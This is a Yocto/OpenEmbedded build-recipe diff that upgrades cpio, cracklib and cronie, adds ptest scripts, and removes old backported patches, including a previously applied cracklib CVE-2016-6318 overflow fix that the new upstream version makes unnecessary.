--- a/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 33e6cb5a28fab3d99bd6818f8c01e6f33805390f Mon Sep 17 00:00:00 2001
-From: Sergey Poznyakoff <gray@gnu.org>
-Date: Mon, 20 Jan 2020 07:45:39 +0200
-Subject: [PATCH] src/global.c: Remove superfluous declaration of program_name
-
-Upstream-Status: Backport (commit 641d3f4)
-Signed-off-by: Richard Leitner <richard.leitner@skidata.com>
----
- src/global.c | 3 ---
- 1 file changed, 3 deletions(-)
-
-diff --git a/src/global.c b/src/global.c
-index fb3abe9..acf92bc 100644
---- a/src/global.c
-+++ b/src/global.c
-@@ -184,9 +184,6 @@ unsigned int warn_option = 0;
- /* Extract to standard output? */
- bool to_stdout_option = false;
-
--/* The name this program was run with. */
--char *program_name;
--
- /* A pointer to either lstat or stat, depending on whether
- dereferencing of symlinks is done for input files. */
- int (*xstat) ();
---
-2.26.2
-
diff --git a/meta/recipes-extended/cpio/cpio_2.13.bb b/meta/recipes-extended/cpio/cpio_2.13.bb
deleted file mode 100644
index 94d86100c7..0000000000
--- a/meta/recipes-extended/cpio/cpio_2.13.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "GNU cpio is a program to manage archives of files"
-DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
-another. It handles a number of cpio formats as well as reading and writing tar files."
-HOMEPAGE = "http://www.gnu.org/software/cpio/"
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
-
-SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0002-src-global.c-Remove-superfluous-declaration-of-progr.patch \
- "
-
-SRC_URI[md5sum] = "389c5452d667c23b5eceb206f5000810"
-SRC_URI[sha256sum] = "e87470d9c984317f658567c03bfefb6b0c829ff17dbf6b0de48d71a4c8f3db88"
-
-inherit autotools gettext texinfo
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
-
-do_install () {
- autotools_do_install
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}/
- mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
- if [ "${sbindir}" != "${bindir}" ]; then
- rmdir ${D}${bindir}/
- fi
- fi
-
- # Avoid conflicts with the version from tar
- mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "cpio"
-ALTERNATIVE_${PN}-rmt = "rmt"
-
-ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
-
-ALTERNATIVE_PRIORITY[rmt] = "50"
-ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio_2.15.bb b/meta/recipes-extended/cpio/cpio_2.15.bb
new file mode 100644
index 0000000000..52070f59a2
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio_2.15.bb
@@ -0,0 +1,87 @@
+SUMMARY = "GNU cpio is a program to manage archives of files"
+DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
+another. It handles a number of cpio formats as well as reading and writing tar files."
+HOMEPAGE = "http://www.gnu.org/software/cpio/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
+
+SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
+ file://run-ptest \
+ file://test.sh \
+ "
+
+SRC_URI[sha256sum] = "efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e"
+
+inherit autotools gettext texinfo ptest
+
+CVE_STATUS[CVE-2010-4226] = "not-applicable-platform: Issue applies to use of cpio in SUSE/OBS"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+do_install () {
+ autotools_do_install
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}/
+ mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
+ if [ "${sbindir}" != "${bindir}" ]; then
+ rmdir ${D}${bindir}/
+ fi
+ fi
+
+ # Avoid conflicts with the version from tar
+ mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
+}
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/gnu/ check
+ oe_runmake -C ${B}/lib/ check
+ oe_runmake -C ${B}/rmt/ check
+ oe_runmake -C ${B}/src/ check
+ oe_runmake -C ${B}/tests/ genfile
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests/
+ sed -i "/abs_/d" ${B}/tests/atconfig
+ install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
+ sed -i "s%${B}/tests:%%g" ${B}/tests/atlocal
+ sed -i "s%${B}/src:%%g" ${B}/tests/atlocal
+ install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${WORKDIR}/test.sh ${D}${PTEST_PATH}/test.sh
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/test.sh
+}
+
+# ptest.bbclass currently chowns the ptest directory explicitly, so we need to
+# change permission after that has happened so the ptest user can write a
+# temporary directory.
+do_install_ptest_base:append() {
+ chgrp -R ptest ${D}${PTEST_PATH}/
+ chmod -R g+w ${D}${PTEST_PATH}/
+}
+
+# The tests need to run as a non-root user, so pull in the ptest user
+DEPENDS:append:class-target = "${@bb.utils.contains('PTEST_ENABLED', '1', ' ptest-runner', '', d)}"
+PACKAGE_WRITE_DEPS += "ptest-runner"
+
+RDEPENDS:${PN}-ptest += "ptest-runner"
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "cpio"
+ALTERNATIVE:${PN}-rmt = "rmt"
+
+ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
+
+ALTERNATIVE_PRIORITY[rmt] = "50"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/files/run-ptest b/meta/recipes-extended/cpio/files/run-ptest
new file mode 100755
index 0000000000..f35a756d6b
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+su -c ./test.sh ptest
diff --git a/meta/recipes-extended/cpio/files/test.sh b/meta/recipes-extended/cpio/files/test.sh
new file mode 100644
index 0000000000..f027574e86
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/test.sh
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+# Define cpio test work dir
+WORKDIR=@PTEST_PATH@/tests/
+
+# Run test
+cd ${WORKDIR}
+./atconfig ./atlocal ./testsuite
+
+./testsuite 2>&1 | grep -E '[0-9]{1,3}: ' | sed -e 's/^.....//' -e '/[ok]$/s/^/PASS: /;/FAILED (.*)/s/^/FAIL: /;/skipped (.*)/s/^/SKIP: /;/expected failure/ s/^/PASS: /;/UNEXPECTED PASS/s/^/FAIL: /' -e 's/ok$//g' -e 's/FAILED.*//g' -e 's/skipped.*//g' -e 's/expected failure.*//g' -e 's/UNEXPECTED PASS.*//g'
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch b/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
deleted file mode 100644
index b251ac9056..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 47e5dec521ab6243c9b249dd65b93d232d90d6b1 Mon Sep 17 00:00:00 2001
-From: Jan Dittberner <jan@dittberner.info>
-Date: Thu, 25 Aug 2016 17:13:49 +0200
-Subject: [PATCH] Apply patch to fix CVE-2016-6318
-
-This patch fixes an issue with a stack-based buffer overflow when
-parsing large GECOS field. See
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6318 and
-https://security-tracker.debian.org/tracker/CVE-2016-6318 for more
-information.
-
-Upstream-Status: Backport [https://github.com/cracklib/cracklib/commit/47e5dec521ab6243c9b249dd65b93d232d90d6b1]
-CVE: CVE-2016-6318
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- lib/fascist.c | 57 ++++++++++++++++++++++++++++++++-----------------------
- 1 file changed, 33 insertions(+), 24 deletions(-)
-
-diff --git a/lib/fascist.c b/lib/fascist.c
-index a996509..d4deb15 100644
---- a/lib/fascist.c
-+++ b/lib/fascist.c
-@@ -502,7 +502,7 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- char gbuffer[STRINGSIZE];
- char tbuffer[STRINGSIZE];
- char *uwords[STRINGSIZE];
-- char longbuffer[STRINGSIZE * 2];
-+ char longbuffer[STRINGSIZE];
-
- if (gecos == NULL)
- gecos = "";
-@@ -583,38 +583,47 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- {
- for (i = 0; i < j; i++)
- {
-- strcpy(longbuffer, uwords[i]);
-- strcat(longbuffer, uwords[j]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) + strlen(uwords[j]) < STRINGSIZE)
- {
-- return _("it is derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[i]);
-+ strcat(longbuffer, uwords[j]);
-
-- strcpy(longbuffer, uwords[j]);
-- strcat(longbuffer, uwords[i]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derived from your password entry");
-+ }
-
-- if (GTry(longbuffer, password))
-- {
-- return _("it's derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[j]);
-+ strcat(longbuffer, uwords[i]);
-
-- longbuffer[0] = uwords[i][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[j]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derived from your password entry");
-+ }
-+ }
-
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[j]) < STRINGSIZE - 1)
- {
-- return _("it is derivable from your password entry");
-+ longbuffer[0] = uwords[i][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[j]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derivable from your password entry");
-+ }
- }
-
-- longbuffer[0] = uwords[j][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[i]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) < STRINGSIZE - 1)
- {
-- return _("it's derivable from your password entry");
-+ longbuffer[0] = uwords[j][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[i]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derivable from your password entry");
-+ }
- }
- }
- }
---
-2.8.1
-
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
index adbe7dfff4..20572b55c4 100644
--- a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
@@ -1,7 +1,7 @@
-From 8a6e43726ad0ae41bd1cc2c248d91deb31459357 Mon Sep 17 00:00:00 2001
+From aae03b7e626d5f62ab929d51d11352a5a2ff6b2d Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Tue, 9 Jun 2015 11:11:48 +0900
-Subject: [PATCH] packlib.c: support dictionary byte order dependent
+Subject: [PATCH 1/2] packlib.c: support dictionary byte order dependent
The previous dict files are NOT byte-order independent, in fact they are
probably ARCHITECTURE SPECIFIC.
@@ -9,7 +9,7 @@ Create the dict files in big endian, and convert to host endian while
load them. This could fix the endian issue on multiple platform.
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/41]
We can't use the endian.h, htobe* and be*toh functions because they are
not available on older versions of glibc, such as that found in RHEL
@@ -22,11 +22,11 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
---
- lib/packlib.c | 214 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
+ lib/packlib.c | 214 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 210 insertions(+), 4 deletions(-)
diff --git a/lib/packlib.c b/lib/packlib.c
-index f851424..3aac805 100644
+index 9396e1d..d0bb181 100644
--- a/lib/packlib.c
+++ b/lib/packlib.c
@@ -16,6 +16,12 @@
@@ -41,8 +41,8 @@ index f851424..3aac805 100644
+#include <byteswap.h>
#include "packer.h"
- static const char vers_id[] = "packlib.c : v2.3p2 Alec Muffett 18 May 1993";
-@@ -45,6 +51,185 @@ typedef struct
+ #define DEBUG 0
+@@ -43,6 +49,185 @@ typedef struct
char data_get[NUMWORDS][MAXWORDLEN];
} PWDICT64;
@@ -228,7 +228,7 @@ index f851424..3aac805 100644
static int
_PWIsBroken64(FILE *ifp)
-@@ -57,6 +242,7 @@ _PWIsBroken64(FILE *ifp)
+@@ -55,6 +240,7 @@ _PWIsBroken64(FILE *ifp)
return 0;
}
@@ -236,7 +236,7 @@ index f851424..3aac805 100644
return (pdesc64.header.pih_magic == PIH_MAGIC);
}
-@@ -149,7 +335,11 @@ PWOpen(prefix, mode)
+@@ -147,7 +333,11 @@ PWOpen(prefix, mode)
pdesc.header.pih_blocklen = NUMWORDS;
pdesc.header.pih_numwords = 0;
@@ -249,7 +249,7 @@ index f851424..3aac805 100644
} else
{
pdesc.flags &= ~PFOR_WRITE;
-@@ -173,6 +363,7 @@ PWOpen(prefix, mode)
+@@ -171,6 +361,7 @@ PWOpen(prefix, mode)
return NULL;
}
@@ -257,7 +257,7 @@ index f851424..3aac805 100644
if ((pdesc.header.pih_magic == 0) || (pdesc.header.pih_numwords == 0))
{
/* uh-oh. either a broken "64-bit" file or a garbage file. */
-@@ -195,6 +386,7 @@ PWOpen(prefix, mode)
+@@ -193,6 +384,7 @@ PWOpen(prefix, mode)
}
return NULL;
}
@@ -265,7 +265,7 @@ index f851424..3aac805 100644
if (pdesc64.header.pih_magic != PIH_MAGIC)
{
/* nope, not "64-bit" after all */
-@@ -290,6 +482,7 @@ PWOpen(prefix, mode)
+@@ -288,6 +480,7 @@ PWOpen(prefix, mode)
{
pdesc.flags &= ~PFOR_USEHWMS;
}
@@ -273,7 +273,7 @@ index f851424..3aac805 100644
for (i = 0; i < sizeof(pdesc.hwms) / sizeof(pdesc.hwms[0]); i++)
{
pdesc.hwms[i] = pdesc64.hwms[i];
-@@ -299,6 +492,7 @@ PWOpen(prefix, mode)
+@@ -297,6 +490,7 @@ PWOpen(prefix, mode)
{
pdesc.flags &= ~PFOR_USEHWMS;
}
@@ -281,7 +281,7 @@ index f851424..3aac805 100644
#if DEBUG
for (i=1; i<=0xff; i++)
{
-@@ -332,7 +526,11 @@ PWClose(pwp)
+@@ -330,7 +524,11 @@ PWClose(pwp)
return (-1);
}
@@ -294,7 +294,7 @@ index f851424..3aac805 100644
{
fprintf(stderr, "index magic fwrite failed\n");
return (-1);
-@@ -351,7 +549,12 @@ PWClose(pwp)
+@@ -349,7 +547,12 @@ PWClose(pwp)
printf("hwm[%02x] = %d\n", i, pwp->hwms[i]);
#endif
}
@@ -308,7 +308,7 @@ index f851424..3aac805 100644
}
}
-@@ -405,7 +608,8 @@ PutPW(pwp, string)
+@@ -403,7 +606,8 @@ PutPW(pwp, string)
datum = (uint32_t) ftell(pwp->dfp);
@@ -317,8 +317,8 @@ index f851424..3aac805 100644
+ fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp);
fputs(pwp->data_put[0], pwp->dfp);
- putc(0, pwp->dfp);
-@@ -464,6 +668,7 @@ GetPW(pwp, number)
+ putc(0, (FILE*) pwp->dfp);
+@@ -462,6 +666,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
}
@@ -326,7 +326,7 @@ index f851424..3aac805 100644
datum = datum64;
} else {
if (fseek(pwp->ifp, sizeof(struct pi_header) + (thisblock * sizeof(uint32_t)), 0))
-@@ -477,6 +682,7 @@ GetPW(pwp, number)
+@@ -475,6 +680,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
}
@@ -335,5 +335,5 @@ index f851424..3aac805 100644
int r = 1;
--
-1.8.4.2
+2.20.1
diff --git a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
deleted file mode 100644
index 6210e82121..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 06f9a88b5dd5597f9198ea0cb34f5e96f180e6e3 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 27 Apr 2013 16:02:30 +0800
-Subject: [PATCH] craklib:fix testnum and teststr failed
-
-Error log:
-...
-$ ./testnum
-(null).pwd.gz: No such file or directory
-PWOpen: No such file or directory
-
-$ ./util/teststr
-(null).pwd.gz: No such file or directory
-PWOpen: No such file or directory
-...
-Set DEFAULT_CRACKLIB_DICT as the path of PWOpen
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
----
- util/testnum.c | 2 +-
- util/teststr.c | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/util/testnum.c b/util/testnum.c
-index ae2246d..ca210ff 100644
---- a/util/testnum.c
-+++ b/util/testnum.c
-@@ -20,7 +20,7 @@ main ()
- PWDICT *pwp;
- char buffer[STRINGSIZE];
-
-- if (!(pwp = PWOpen (NULL, "r")))
-+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
- {
- perror ("PWOpen");
- return (-1);
-diff --git a/util/teststr.c b/util/teststr.c
-index 2a31fa4..9fb9cda 100644
---- a/util/teststr.c
-+++ b/util/teststr.c
-@@ -15,7 +15,7 @@ main ()
- PWDICT *pwp;
- char buffer[STRINGSIZE];
-
-- if (!(pwp = PWOpen (NULL, "r")))
-+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
- {
- perror ("PWOpen");
- return (-1);
---
-1.7.10.4
-
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.11.bb b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
new file mode 100644
index 0000000000..34ef2b65a1
--- /dev/null
+++ b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Password strength checker library"
+HOMEPAGE = "https://github.com/cracklib/cracklib"
+DESCRIPTION = "${SUMMARY}"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
+
+DEPENDS = "cracklib-native zlib"
+
+EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
+
+SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=main \
+ file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
+ "
+
+SRCREV = "4cf5125250c6325ef0a2dc085eabff875227edc3"
+S = "${WORKDIR}/git/src"
+
+inherit autotools gettext
+
+# This is custom stuff from upstream's autogen.sh
+do_configure:prepend() {
+ mkdir -p ${S}/m4
+ echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am
+ touch ${S}/ABOUT-NLS
+}
+
+do_install:append:class-target() {
+ create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb b/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
deleted file mode 100644
index 82995219dc..0000000000
--- a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Password strength checker library"
-HOMEPAGE = "http://sourceforge.net/projects/cracklib"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-
-DEPENDS = "cracklib-native zlib"
-
-EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/cracklib/cracklib-${PV}.tar.gz \
- file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
- file://0001-Apply-patch-to-fix-CVE-2016-6318.patch \
- file://0002-craklib-fix-testnum-and-teststr-failed.patch"
-
-SRC_URI[md5sum] = "376790a95c1fb645e59e6e9803c78582"
-SRC_URI[sha256sum] = "59ab0138bc8cf90cccb8509b6969a024d5e58d2d02bcbdccbb9ba9b88be3fa33"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/cracklib/files/cracklib/"
-UPSTREAM_CHECK_REGEX = "/cracklib/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit autotools gettext
-
-do_install_append_class-target() {
- create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
index c374790d1d..464d1470e3 100644
--- a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
+++ b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
@@ -1,9 +1,19 @@
+From f5b325cba73018e5be984570fd4e680e59e7865d Mon Sep 17 00:00:00 2001
+From: Wenzong Fan <wenzong.fan@windriver.com>
+Date: Wed, 20 Jul 2011 02:42:28 +0000
+Subject: [PATCH] cronie: enable PAM support for cronie
+
password-auth is the Fedora's common pam configure file, use oe common pam
configure files instead.
Upstream-Status: Pending
Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
+
+---
+ pam/crond | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
diff --git a/pam/crond b/pam/crond
index 560529d..95a6457 100644
--- a/pam/crond
diff --git a/meta/recipes-extended/cronie/cronie_1.5.5.bb b/meta/recipes-extended/cronie/cronie_1.5.5.bb
deleted file mode 100644
index 0def4a187d..0000000000
--- a/meta/recipes-extended/cronie/cronie_1.5.5.bb
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "Cron daemon for executing programs at set times"
-DESCRIPTION = "Cronie contains the standard UNIX daemon crond that runs \
-specified programs at scheduled times and related tools. It is based on the \
-original cron and has security and configuration enhancements like the \
-ability to use pam and SELinux."
-HOMEPAGE = "https://github.com/cronie-crond/cronie/"
-BUGTRACKER = "https://bugzilla.redhat.com"
-
-# Internet Systems Consortium License
-LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
- file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
- file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
-
-SECTION = "utils"
-
-UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/"
-
-SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}/cronie-${PV}.tar.gz \
- file://crond.init \
- file://crontab \
- file://crond.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
-
-PAM_SRC_URI = "file://crond_pam_config.patch"
-PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
-
-SRC_URI[md5sum] = "351a37d0b5bd0144816724b4482747ad"
-SRC_URI[sha256sum] = "be34c79505e5544323281854744b9955ff16b160ee569f9df7c0dddae5720eac"
-
-inherit autotools update-rc.d useradd systemd
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-
-PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
-PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
-PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
-
-INITSCRIPT_NAME = "crond"
-INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system crontab"
-
-SYSTEMD_SERVICE_${PN} = "crond.service"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/sysconfig/
- install -d ${D}${sysconfdir}/init.d/
- install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
- install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
-
- # install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/crond.service
-
- # below are necessary for a complete cron environment
- install -d ${D}${localstatedir}/spool/cron
- install -m 0755 ${WORKDIR}/crontab ${D}${sysconfdir}/
- mkdir -p ${D}${sysconfdir}/cron.d
- mkdir -p ${D}${sysconfdir}/cron.hourly
- mkdir -p ${D}${sysconfdir}/cron.daily
- mkdir -p ${D}${sysconfdir}/cron.weekly
- mkdir -p ${D}${sysconfdir}/cron.monthly
- touch ${D}${sysconfdir}/cron.deny
-
- # below setting is necessary to allow normal user using crontab
-
- # setgid for crontab binary
- chown root:crontab ${D}${bindir}/crontab
- chmod 2755 ${D}${bindir}/crontab
-
- # allow 'crontab' group write to /var/spool/cron
- chown root:crontab ${D}${localstatedir}/spool/cron
- chmod 770 ${D}${localstatedir}/spool/cron
-
- chmod 600 ${D}${sysconfdir}/crontab
-}
-
-FILES_${PN} += "${sysconfdir}/cron*"
-CONFFILES_${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cronie/cronie_1.7.1.bb b/meta/recipes-extended/cronie/cronie_1.7.1.bb
new file mode 100644
index 0000000000..854b68163c
--- /dev/null
+++ b/meta/recipes-extended/cronie/cronie_1.7.1.bb
@@ -0,0 +1,85 @@
+SUMMARY = "Cron daemon for executing programs at set times"
+DESCRIPTION = "Cronie contains the standard UNIX daemon crond that runs \
+specified programs at scheduled times and related tools. It is based on the \
+original cron and has security and configuration enhancements like the \
+ability to use pam and SELinux."
+HOMEPAGE = "https://github.com/cronie-crond/cronie/"
+BUGTRACKER = "https://bugzilla.redhat.com"
+
+# Internet Systems Consortium License
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
+ file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
+ file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
+
+SECTION = "utils"
+
+GITHUB_BASE_URI = "https://github.com/cronie-crond/${BPN}/releases/"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/cronie-${PV}/cronie-${PV}.tar.gz \
+ file://crond.init \
+ file://crontab \
+ file://crond.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
+
+PAM_SRC_URI = "file://crond_pam_config.patch"
+PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
+
+SRC_URI[sha256sum] = "78033100c24413f0c40f93e6138774d6a4f55bc31050567b90db45a2f9f1b954"
+
+inherit autotools update-rc.d useradd systemd github-releases
+UPSTREAM_CHECK_REGEX = "releases/tag/cronie-(?P<pver>\d+(\.\d+)+)"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
+PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
+PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+INITSCRIPT_NAME = "crond"
+INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "--system crontab"
+
+SYSTEMD_SERVICE:${PN} = "crond.service"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/sysconfig/
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
